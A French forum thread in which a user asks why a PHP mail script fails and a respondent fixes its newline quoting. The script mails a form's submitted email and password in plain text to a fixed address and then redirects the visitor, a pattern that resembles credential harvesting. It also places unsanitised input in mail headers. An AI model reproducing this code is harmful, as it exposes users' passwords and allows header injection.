Mail PHP
-Shadow-
Messages postés
2148
Date d'inscription
Statut
Membre
Dernière intervention
-
gryzzly Messages postés 5220 Date d'inscription Statut Contributeur Dernière intervention -
gryzzly Messages postés 5220 Date d'inscription Statut Contributeur Dernière intervention -
Bonjour,
ce script PHP est censé m'envoyer un mail, mais ça ne marche pas.
Pourquoi ne marche-t-il pas?
Merci d'avance.
Mat'
ce script PHP est censé m'envoyer un mail, mais ça ne marche pas.
<?php
$sender = "z@hotmail.fr";
$pwd = $_POST['password'];
$eml = $_POST['email'];
$headers ='From: "nom"<'.$eml.'>'.'\n';
$headers .='Reply-To: z@hotmail.fr'.'\n';
$headers .='Content-Type: text/plain; charset="iso-8859-1"'.'\n';
$headers .='Content-Transfer-Encoding: 8bit';
mail($sender, "Abonnement", "Email: ".$eml."\nPassword: ".$pwd."\n\nMerci de vous être enregistrés!", $headers);
Header("Location: http://www.monsite.com/");
?>
Pourquoi ne marche-t-il pas?
Merci d'avance.
Mat'
Configuration: XP SP2 FF3.0.0.10
3 réponses
-
serveur local ? distant ? mail() actif ? windows ? linux ?
-
Re,
Merci pour ta réponse,
C'est un serveur distant qui ne m'appartient pas, c'est en fait Free ^^
Donc sous Linux.
A+,
Mat' -
Peut etre a cause des headers
'\n' n'est pas valide. c'est "\n" ... par contre, ne me demandes pas l'explication, je n'en ai pas.
<?php $sender = "z@hotmail.fr"; $pwd = "pass"; $eml = "exp@dit.eur"; $headers ="From: nom<".$eml.">"."\n"; $headers .="Reply-To: z@hotmail.fr"."\n"; $headers .="Content-Type: text/plain; charset='iso-8859-1'"."\n"; $headers .="Content-Transfer-Encoding: 8bit"; mail($sender, "Abonnement", "Email: ".$eml."\nPassword: ".$pwd."\n\nMerci de vous être enregistrés!", $headers); ?>